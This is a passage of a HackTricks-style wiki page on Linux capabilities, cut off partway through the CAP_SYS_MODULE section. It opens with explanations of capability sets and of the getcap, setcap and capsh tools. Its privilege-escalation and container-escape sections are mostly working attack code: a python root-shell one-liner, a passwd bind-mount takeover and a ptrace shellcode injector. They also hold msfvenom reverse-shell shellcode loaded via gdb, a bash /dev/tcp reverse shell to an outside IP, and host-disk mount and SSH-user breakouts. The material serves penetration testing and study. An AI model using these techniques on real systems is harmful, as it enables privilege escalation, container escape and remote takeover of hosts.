linux-capabilities.md (68724B)
1 --- 2 title: "Linux Capabilities" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/interesting-files-permissions/linux-capabilities.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/linux-capabilities.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Linux Capabilities 14 15 Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily.<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[14]](#references)</sup> 16 17 ### The Problem: 18 19 - Normal users have limited permissions for operations such as opening raw sockets or binding Internet ports below 1024; capabilities can grant only the required operation instead of full root privilege.<sup>[[14]](#references)</sup> 20 21 ### Capability Sets: 22 23 Linux exposes these capability sets per thread, and the kernel applies their constraints when a process changes credentials or executes a file.<sup>[[14]](#references)</sup> 24 25 1. **Inherited (CapInh)**: 26 27 - **Purpose**: Identifies capabilities that may contribute to the permitted set after `execve()` when the executed file has matching inheritable file capabilities. 28 - **Functionality**: The thread's inheritable set is preserved across `execve()`; it does not make those capabilities effective by itself. 29 - **Restrictions**: Adding a capability to this set is constrained by the permitted and bounding sets.<sup>[[14]](#references)</sup> 30 31 2. **Effective (CapEff)**: 32 33 - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. 34 - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. 35 - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. 36 37 3. **Permitted (CapPrm)**: 38 39 - **Purpose**: Defines the maximum set of capabilities a process can possess. 40 - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. 41 - **Boundary**: If a capability is dropped from this set, it cannot normally be restored without executing a file that grants it or another privileged transition.<sup>[[14]](#references)</sup> 42 43 4. **Bounding (CapBnd)**: 44 45 - **Purpose**: Limits the capabilities a process can gain from a file during `execve()` and those it can add to its inheritable set. 46 - **Functionality**: The set is inherited across `fork()` and preserved across `execve()`; capabilities can be dropped from it when the caller has `CAP_SETPCAP`. 47 - **Use-case**: Removing unnecessary capabilities from this set limits later privilege acquisition.<sup>[[14]](#references)</sup> 48 49 5. **Ambient (CapAmb)**: 50 - **Purpose**: Allows selected capabilities to remain permitted and effective across `execve()` of a nonprivileged program. 51 - **Functionality**: Ambient capabilities are added to the new permitted and effective sets when the executed file is not privileged. 52 - **Restrictions**: A capability can be ambient only while it is present in both the permitted and inheritable sets; executing a set-user-ID/set-group-ID file or a file with capabilities clears the ambient set.<sup>[[8]](#references)[[9]](#references)[[14]](#references)</sup> 53 54 ## Processes & Binaries Capabilities 55 56 ### Processes Capabilities 57 58 To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ 59 Note that for all running processes capability information is maintained per thread, while file capabilities are stored in `security.capability` extended attributes.<sup>[[14]](#references)[[15]](#references)</sup> 60 61 You can find the capabilities defined in /usr/include/linux/capability.h 62 63 You can find the capabilities of the current process in `cat /proc/self/status` or with `capsh --print`, and those of other processes in `/proc/<pid>/status`.<sup>[[15]](#references)[[26]](#references)</sup> 64 65 ```bash 66 cat /proc/1234/status | grep Cap 67 cat /proc/$$/status | grep Cap #This will print the capabilities of the current process 68 ``` 69 70 This command should return five capability lines on most systems.<sup>[[15]](#references)</sup> 71 72 - CapInh = Inherited capabilities 73 - CapPrm = Permitted capabilities 74 - CapEff = Effective capabilities 75 - CapBnd = Bounding set 76 - CapAmb = Ambient capabilities set 77 78 ```bash 79 #These are the typical capabilities of a root owned process (all) 80 CapInh: 0000000000000000 81 CapPrm: 0000003fffffffff 82 CapEff: 0000003fffffffff 83 CapBnd: 0000003fffffffff 84 CapAmb: 0000000000000000 85 ``` 86 87 These hexadecimal numbers don’t make sense. Using the `capsh` utility, we can decode them into capability names.<sup>[[26]](#references)</sup> 88 89 ```bash 90 capsh --decode=0000003fffffffff 91 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 92 ``` 93 94 Lets check now the **capabilities** used by `ping`: 95 96 ```bash 97 cat /proc/9491/status | grep Cap 98 CapInh: 0000000000000000 99 CapPrm: 0000000000003000 100 CapEff: 0000000000000000 101 CapBnd: 0000003fffffffff 102 CapAmb: 0000000000000000 103 104 capsh --decode=0000000000003000 105 0x0000000000003000=cap_net_admin,cap_net_raw 106 ``` 107 108 Although that works, there is another and easier way. To see the capabilities of a running process, use the **getpcaps** tool followed by its process ID (PID); it also accepts a list of process IDs.<sup>[[22]](#references)</sup> 109 110 ```bash 111 getpcaps 1234 112 ``` 113 114 Lets check the capabilities of `tcpdump` after giving the binary `cap_net_admin` and `cap_net_raw` to sniff the network (`tcpdump` is running in process 9562).<sup>[[22]](#references)[[25]](#references)</sup> 115 116 ```bash 117 #The following command give tcpdump the needed capabilities to sniff traffic 118 $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump 119 120 $ getpcaps 9562 121 Capabilities for `9562': = cap_net_admin,cap_net_raw+ep 122 123 $ cat /proc/9562/status | grep Cap 124 CapInh: 0000000000000000 125 CapPrm: 0000000000003000 126 CapEff: 0000000000003000 127 CapBnd: 0000003fffffffff 128 CapAmb: 0000000000000000 129 130 $ capsh --decode=0000000000003000 131 0x0000000000003000=cap_net_admin,cap_net_raw 132 ``` 133 134 As you can see, the capabilities correspond with the results of the two ways of inspecting a process. The `getpcaps` tool uses libcap to query a target process's capabilities and prints them in text form; it accepts one or more PIDs.<sup>[[22]](#references)</sup> 135 136 ### Binaries Capabilities 137 138 Binaries can have file capabilities that are applied during execution. For example, a `ping` binary may carry the `cap_net_raw` capability.<sup>[[14]](#references)</sup> 139 140 ```bash 141 getcap /usr/bin/ping 142 /usr/bin/ping = cap_net_raw+ep 143 ``` 144 145 You can **search binaries with capabilities** using `getcap -r`.<sup>[[23]](#references)</sup> 146 147 ```bash 148 getcap -r / 2>/dev/null 149 ``` 150 151 ### Dropping capabilities with capsh 152 153 If we drop `CAP_NET_RAW` from the prevailing bounding set, a program that needs that capability should no longer be able to use it.<sup>[[26]](#references)</sup> 154 155 ```bash 156 capsh --drop=cap_net_raw --print -- -c "tcpdump" 157 ``` 158 159 Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. 160 161 > /bin/bash: /usr/sbin/tcpdump: Operation not permitted 162 163 The error shows that `tcpdump` cannot execute with the requested file capability after `CAP_NET_RAW` was removed from the bounding set. 164 165 ### Remove Capabilities 166 167 You can remove a file's capabilities with `setcap -r`.<sup>[[25]](#references)</sup> 168 169 ```bash 170 setcap -r </path/to/binary> 171 ``` 172 173 ## User Capabilities 174 175 Linux does not assign file capabilities directly to a login user, but the `pam_cap` PAM module can set inheritable capabilities for authenticated sessions using `/etc/security/capability.conf`.<sup>[[16]](#references)</sup> Each entry maps comma-separated capability names or numbers to one or more usernames.<sup>[[17]](#references)</sup> 176 File example: 177 178 ```bash 179 # Simple 180 cap_sys_ptrace developer 181 cap_net_raw user1 182 183 # Multiple capablities 184 cap_net_admin,cap_net_raw jrnetadmin 185 # Identical, but with numeric values 186 12,13 jrnetadmin 187 188 # Combining names and numerics 189 cap_sys_admin,22,25 jrsysadmin 190 ``` 191 192 ## Environment Capabilities 193 194 Compiling the following program makes it possible to **spawn a bash shell inside an environment that provides capabilities**.<sup>[[14]](#references)</sup> 195 196 ```c 197 /* 198 * Test program for the ambient capabilities 199 * 200 * compile using: 201 * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c 202 * Set effective, inherited and permitted capabilities to the compiled binary 203 * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient 204 * 205 * To get a shell with additional caps that can be inherited do: 206 * 207 * ./ambient /bin/bash 208 */ 209 210 #include <stdlib.h> 211 #include <stdio.h> 212 #include <string.h> 213 #include <errno.h> 214 #include <sys/prctl.h> 215 #include <linux/capability.h> 216 #include <cap-ng.h> 217 218 static void set_ambient_cap(int cap) { 219 int rc; 220 capng_get_caps_process(); 221 rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); 222 if (rc) { 223 printf("Cannot add inheritable cap\n"); 224 exit(2); 225 } 226 capng_apply(CAPNG_SELECT_CAPS); 227 /* Note the two 0s at the end. Kernel checks for these */ 228 if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { 229 perror("Cannot set cap"); 230 exit(1); 231 } 232 } 233 void usage(const char * me) { 234 printf("Usage: %s [-c caps] new-program new-args\n", me); 235 exit(1); 236 } 237 int default_caplist[] = { 238 CAP_NET_RAW, 239 CAP_NET_ADMIN, 240 CAP_SYS_NICE, 241 -1 242 }; 243 int * get_caplist(const char * arg) { 244 int i = 1; 245 int * list = NULL; 246 char * dup = strdup(arg), * tok; 247 for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { 248 list = realloc(list, (i + 1) * sizeof(int)); 249 if (!list) { 250 perror("out of memory"); 251 exit(1); 252 } 253 list[i - 1] = atoi(tok); 254 list[i] = -1; 255 i++; 256 } 257 return list; 258 } 259 int main(int argc, char ** argv) { 260 int rc, i, gotcaps = 0; 261 int * caplist = NULL; 262 int index = 1; // argv index for cmd to start 263 if (argc < 2) 264 usage(argv[0]); 265 if (strcmp(argv[1], "-c") == 0) { 266 if (argc <= 3) { 267 usage(argv[0]); 268 } 269 caplist = get_caplist(argv[2]); 270 index = 3; 271 } 272 if (!caplist) { 273 caplist = (int * ) default_caplist; 274 } 275 for (i = 0; caplist[i] != -1; i++) { 276 printf("adding %d to ambient list\n", caplist[i]); 277 set_ambient_cap(caplist[i]); 278 } 279 printf("Ambient forking shell\n"); 280 if (execv(argv[index], argv + index)) 281 perror("Cannot exec"); 282 return 0; 283 } 284 ``` 285 286 ```bash 287 gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c 288 sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient 289 ./ambient /bin/bash 290 ``` 291 292 Inside the **bash executed by the compiled ambient binary**, it is possible to observe the **new capabilities** (a regular user will not have any capability in the "current" section).<sup>[[14]](#references)</sup> 293 294 ```bash 295 capsh --print 296 Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip 297 ``` 298 299 > [!CAUTION] 300 > You can **only add capabilities that are present** in both the permitted and the inheritable sets.<sup>[[14]](#references)</sup> 301 302 ### Capability-aware/Capability-dumb binaries 303 304 A capability-dumb binary is a program with file capabilities that does not use libcap to manage them. If its file effective bit is set, the kernel enables the file's permitted capabilities in the process's effective set; execution can fail if the process did not obtain all permitted capabilities.<sup>[[14]](#references)</sup> 305 306 ## Service Capabilities 307 308 A system service that runs as root may retain broad capabilities unless its execution environment restricts them. In a systemd unit, `User=` selects the service user and `AmbientCapabilities=` adds named capabilities to the ambient set for the executed process.<sup>[[18]](#references)</sup> 309 310 ```bash 311 [Service] 312 User=bob 313 AmbientCapabilities=CAP_NET_BIND_SERVICE 314 ``` 315 316 ## Capabilities in Docker Containers 317 318 Docker starts containers with a default capability set that can be changed with `--cap-add` and `--cap-drop`; an example container can be inspected with `amicontained`.<sup>[[19]](#references)[[24]](#references)</sup> 319 320 ```bash 321 docker run --rm -it r.j3ss.co/amicontained bash 322 Capabilities: 323 BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap 324 325 # Add a capabilities 326 docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash 327 328 # Add all capabilities 329 docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash 330 331 # Remove all and add only one 332 docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash 333 ``` 334 335 ## Privesc/Container Escape 336 337 Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.<sup>[[2]](#references)</sup> 338 339 You can force file capabilities onto programs with `setcap`, and query them with `getcap`.<sup>[[23]](#references)[[25]](#references)</sup> 340 341 ```bash 342 #Set Capability 343 setcap cap_net_raw+ep /sbin/ping 344 345 #Get Capability 346 getcap /sbin/ping 347 /sbin/ping = cap_net_raw+ep 348 ``` 349 350 For file-capability text, `+ep` raises the named capability in the effective and permitted sets; `-` lowers the selected flags.<sup>[[21]](#references)</sup> 351 352 To identify programs in a system or folder with capabilities, use `getcap -r`.<sup>[[23]](#references)</sup> 353 354 ```bash 355 getcap -r / 2>/dev/null 356 ``` 357 358 ### Exploitation example 359 360 In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: 361 362 ```bash 363 setcap cap_setuid+ep /usr/bin/python2.7 364 /usr/bin/python2.7 = cap_setuid+ep 365 366 #Exploit 367 /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' 368 ``` 369 370 **Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: 371 372 ```bash 373 setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump 374 getcap /usr/sbin/tcpdump 375 /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip 376 ``` 377 378 ### The special case of "empty" capabilities 379 380 A file can carry an empty capability set (`getcap myelf` returns `myelf =ep`). An empty set grants no capabilities; when combined with a root-owned set-user-ID bit, the program can still change the executing process's effective and saved IDs to 0 without gaining file capabilities. An unowned, non-SUID/SGID file with `=ep` does not run as root.<sup>[[14]](#references)</sup> 381 382 ## CAP_SYS_ADMIN 383 384 **[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** is a highly potent Linux capability, often equated to a near-root level due to its extensive **administrative privileges**, such as mounting devices or manipulating kernel features. While indispensable for containers simulating entire systems, **`CAP_SYS_ADMIN` poses significant security challenges**, especially in containerized environments, due to its potential for privilege escalation and system compromise. Therefore, its usage warrants stringent security assessments and cautious management, with a strong preference for dropping this capability in application-specific containers to adhere to the **principle of least privilege** and minimize the attack surface.<sup>[[14]](#references)</sup> 385 386 **Example with binary** 387 388 ```bash 389 getcap -r / 2>/dev/null 390 /usr/bin/python2.7 = cap_sys_admin+ep 391 ``` 392 393 Using python you can mount a modified _passwd_ file on top of the real _passwd_ file: 394 395 ```bash 396 cp /etc/passwd ./ #Create a copy of the passwd file 397 openssl passwd -1 -salt abc password #Get hash of "password" 398 vim ./passwd #Change roots passwords of the fake passwd file 399 ``` 400 401 And finally **mount** the modified `passwd` file on `/etc/passwd`: 402 403 ```python 404 from ctypes import * 405 libc = CDLL("libc.so.6") 406 libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p) 407 MS_BIND = 4096 408 source = b"/path/to/fake/passwd" 409 target = b"/etc/passwd" 410 filesystemtype = b"none" 411 options = b"rw" 412 mountflags = MS_BIND 413 libc.mount(source, target, filesystemtype, mountflags, options) 414 ``` 415 416 And you will be able to **`su` as root** using password "password". 417 418 **Example with environment (Docker breakout)** 419 420 You can check the enabled capabilities inside the docker container using: 421 422 ```text 423 capsh --print 424 Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep 425 Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read 426 Securebits: 00/0x0/1'b0 427 secure-noroot: no (unlocked) 428 secure-no-suid-fixup: no (unlocked) 429 secure-keep-caps: no (unlocked) 430 uid=0(root) 431 gid=0(root) 432 groups=0(root) 433 ``` 434 435 Inside the previous output you can see that the SYS_ADMIN capability is enabled.<sup>[[14]](#references)</sup> 436 437 - **Mount** 438 439 With suitable device and namespace access, this can allow a Docker container to **mount a host disk and access its contents**.<sup>[[14]](#references)</sup> 440 441 ```bash 442 fdisk -l #Get disk name 443 Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors 444 Units: sectors of 1 * 512 = 512 bytes 445 Sector size (logical/physical): 512 bytes / 512 bytes 446 I/O size (minimum/optimal): 512 bytes / 512 bytes 447 448 mount /dev/sda /mnt/ #Mount it 449 cd /mnt 450 chroot ./ bash #You have a shell inside the docker hosts disk 451 ``` 452 453 - **Full access** 454 455 In the previous method we managed to access a host disk.\ 456 If the host is running an **ssh** server, you could **create a user inside the mounted disk** and access it via SSH.<sup>[[14]](#references)</sup> 457 458 ```bash 459 #Like in the example before, the first step is to mount the docker host disk 460 fdisk -l 461 mount /dev/sda /mnt/ 462 463 #Then, search for open ports inside the docker host 464 nc -v -n -w2 -z 172.17.0.1 1-65535 465 (UNKNOWN) [172.17.0.1] 2222 (?) open 466 467 #Finally, create a new user inside the docker host and use it to access via SSH 468 chroot /mnt/ adduser john 469 ssh john@172.17.0.1 -p 2222 470 ``` 471 472 ## CAP_SYS_PTRACE 473 474 With `CAP_SYS_PTRACE`, a process can trace and inspect other processes that are visible in its PID namespace. To target host processes from a Docker container, share the host PID namespace with `--pid=host` (or join a namespace containing the target).<sup>[[14]](#references)[[20]](#references)</sup> 475 476 **[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53).<sup>[[10]](#references)</sup> 477 478 **Example with binary (python)** 479 480 ```bash 481 getcap -r / 2>/dev/null 482 /usr/bin/python2.7 = cap_sys_ptrace+ep 483 ``` 484 485 ```python 486 import ctypes 487 import sys 488 import struct 489 # Macros defined in <sys/ptrace.h> 490 # https://code.woboq.org/qt5/include/sys/ptrace.h.html 491 PTRACE_POKETEXT = 4 492 PTRACE_GETREGS = 12 493 PTRACE_SETREGS = 13 494 PTRACE_ATTACH = 16 495 PTRACE_DETACH = 17 496 # Structure defined in <sys/user.h> 497 # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct 498 class user_regs_struct(ctypes.Structure): 499 _fields_ = [ 500 ("r15", ctypes.c_ulonglong), 501 ("r14", ctypes.c_ulonglong), 502 ("r13", ctypes.c_ulonglong), 503 ("r12", ctypes.c_ulonglong), 504 ("rbp", ctypes.c_ulonglong), 505 ("rbx", ctypes.c_ulonglong), 506 ("r11", ctypes.c_ulonglong), 507 ("r10", ctypes.c_ulonglong), 508 ("r9", ctypes.c_ulonglong), 509 ("r8", ctypes.c_ulonglong), 510 ("rax", ctypes.c_ulonglong), 511 ("rcx", ctypes.c_ulonglong), 512 ("rdx", ctypes.c_ulonglong), 513 ("rsi", ctypes.c_ulonglong), 514 ("rdi", ctypes.c_ulonglong), 515 ("orig_rax", ctypes.c_ulonglong), 516 ("rip", ctypes.c_ulonglong), 517 ("cs", ctypes.c_ulonglong), 518 ("eflags", ctypes.c_ulonglong), 519 ("rsp", ctypes.c_ulonglong), 520 ("ss", ctypes.c_ulonglong), 521 ("fs_base", ctypes.c_ulonglong), 522 ("gs_base", ctypes.c_ulonglong), 523 ("ds", ctypes.c_ulonglong), 524 ("es", ctypes.c_ulonglong), 525 ("fs", ctypes.c_ulonglong), 526 ("gs", ctypes.c_ulonglong), 527 ] 528 529 libc = ctypes.CDLL("libc.so.6") 530 531 pid=int(sys.argv[1]) 532 533 # Define argument type and respone type. 534 libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] 535 libc.ptrace.restype = ctypes.c_uint64 536 537 # Attach to the process 538 libc.ptrace(PTRACE_ATTACH, pid, None, None) 539 registers=user_regs_struct() 540 541 # Retrieve the value stored in registers 542 libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers)) 543 print("Instruction Pointer: " + hex(registers.rip)) 544 print("Injecting Shellcode at: " + hex(registers.rip)) 545 546 # Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 547 shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05" 548 549 # Inject the shellcode into the running process byte by byte. 550 for i in xrange(0,len(shellcode),4): 551 # Convert the byte to little endian. 552 shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16) 553 shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex') 554 shellcode_byte=int(shellcode_byte_little_endian,16) 555 556 # Inject the byte. 557 libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte) 558 559 print("Shellcode Injected!!") 560 561 # Modify the instuction pointer 562 registers.rip=registers.rip+2 563 564 # Set the registers 565 libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers)) 566 print("Final Instruction Pointer: " + hex(registers.rip)) 567 568 # Detach from the process. 569 libc.ptrace(PTRACE_DETACH, pid, None, None) 570 ``` 571 572 **Example with binary (gdb)** 573 574 `gdb` with `ptrace` capability: 575 576 ```text 577 /usr/bin/gdb = cap_sys_ptrace+ep 578 ``` 579 580 Create a shellcode with msfvenom to inject in memory via gdb 581 582 ```python 583 # msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py 584 buf = b"" 585 buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05" 586 buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b" 587 buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05" 588 buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" 589 buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" 590 buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6" 591 buf += b"\x0f\x05" 592 593 # Divisible by 8 594 payload = b"\x90" * (-len(buf) % 8) + buf 595 596 # Change endianess and print gdb lines to load the shellcode in RIP directly 597 for i in range(0, len(buf), 8): 598 chunk = payload[i:i+8][::-1] 599 chunks = "0x" 600 for byte in chunk: 601 chunks += f"{byte:02x}" 602 603 print(f"set {{long}}($rip+{i}) = {chunks}") 604 ``` 605 606 Debug a root process with gdb ad copy-paste the previously generated gdb lines: 607 608 ```bash 609 # Let's write the commands to a file 610 echo 'set {long}($rip+0) = 0x296a909090909090 611 set {long}($rip+8) = 0x5e016a5f026a9958 612 set {long}($rip+16) = 0x0002b9489748050f 613 set {long}($rip+24) = 0x48510b0e0a0a2923 614 set {long}($rip+32) = 0x582a6a5a106ae689 615 set {long}($rip+40) = 0xceff485e036a050f 616 set {long}($rip+48) = 0x6af675050f58216a 617 set {long}($rip+56) = 0x69622fbb4899583b 618 set {long}($rip+64) = 0x8948530068732f6e 619 set {long}($rip+72) = 0x050fe689485752e7 620 c' > commands.gdb 621 # In this case there was a sleep run by root 622 ## NOTE that the process you abuse will die after the shellcode 623 /usr/bin/gdb -p $(pgrep sleep) 624 [...] 625 (gdb) source commands.gdb 626 Continuing. 627 process 207009 is executing new program: /usr/bin/dash 628 [...] 629 ``` 630 631 **Example with environment (Docker breakout) - Another gdb Abuse** 632 633 If **GDB** is installed (or you can install it with `apk add gdb` or `apt install gdb` for example) you can **debug a process from the host** and make it call the `system` function. (This technique also requires the capability `SYS_ADMIN`)**.** 634 635 ```bash 636 gdb -p 1234 637 (gdb) call (void)system("ls") 638 (gdb) call (void)system("sleep 5") 639 (gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'") 640 ``` 641 642 You won’t be able to see the output of the command executed but it will be executed by that process (so get a rev shell). 643 644 > [!WARNING] 645 > If you get the error "No symbol "system" in current context." check the previous example loading a shellcode in a program via gdb. 646 647 **Example with environment (Docker breakout) - Shellcode Injection** 648 649 You can check the enabled capabilities inside the docker container using: 650 651 ```bash 652 capsh --print 653 Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep 654 Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap 655 Securebits: 00/0x0/1'b0 656 secure-noroot: no (unlocked) 657 secure-no-suid-fixup: no (unlocked) 658 secure-keep-caps: no (unlocked) 659 uid=0(root) 660 gid=0(root) 661 groups=0(root 662 ``` 663 664 List **processes** running in the **host** `ps -eaf` 665 666 1. Get the **architecture** `uname -m` 667 2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128)) 668 3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)) 669 4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject` 670 5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600` 671 672 ## CAP_SYS_MODULE 673 674 **[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks because loading a module can modify kernel behavior and may defeat isolation boundaries.<sup>[[6]](#references)[[14]](#references)</sup> 675 **This allows inserting or removing modules in the kernel visible to the process; in a container, whether that is the host kernel depends on the isolation configuration**.<sup>[[14]](#references)</sup> 676 677 **Example with binary** 678 679 In the following example the binary **`python`** has this capability. 680 681 ```bash 682 getcap -r / 2>/dev/null 683 /usr/bin/python2.7 = cap_sys_module+ep 684 ``` 685 686 By default, **`modprobe`** command checks for dependency list and map files in the directory **`/lib/modules/$(uname -r)`**.\ 687 In order to abuse this, lets create a fake **lib/modules** folder: 688 689 ```bash 690 mkdir lib/modules -p 691 cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r) 692 ``` 693 694 Then **compile the kernel module you can find 2 examples below and copy** it to this folder: 695 696 ```bash 697 cp reverse-shell.ko lib/modules/$(uname -r)/ 698 ``` 699 700 Finally, execute the needed python code to load this kernel module: 701 702 ```python 703 import kmod 704 km = kmod.Kmod() 705 km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/") 706 km.modprobe("reverse-shell") 707 ``` 708 709 **Example 2 with binary** 710 711 In the following example the binary **`kmod`** has this capability. 712 713 ```bash 714 getcap -r / 2>/dev/null 715 /bin/kmod = cap_sys_module+ep 716 ``` 717 718 Which means that it's possible to use the command **`insmod`** to insert a kernel module. Follow the example below to get a **reverse shell** abusing this privilege. 719 720 **Example with environment (Docker breakout)** 721 722 You can check the enabled capabilities inside the docker container using: 723 724 ```bash 725 capsh --print 726 Current: = 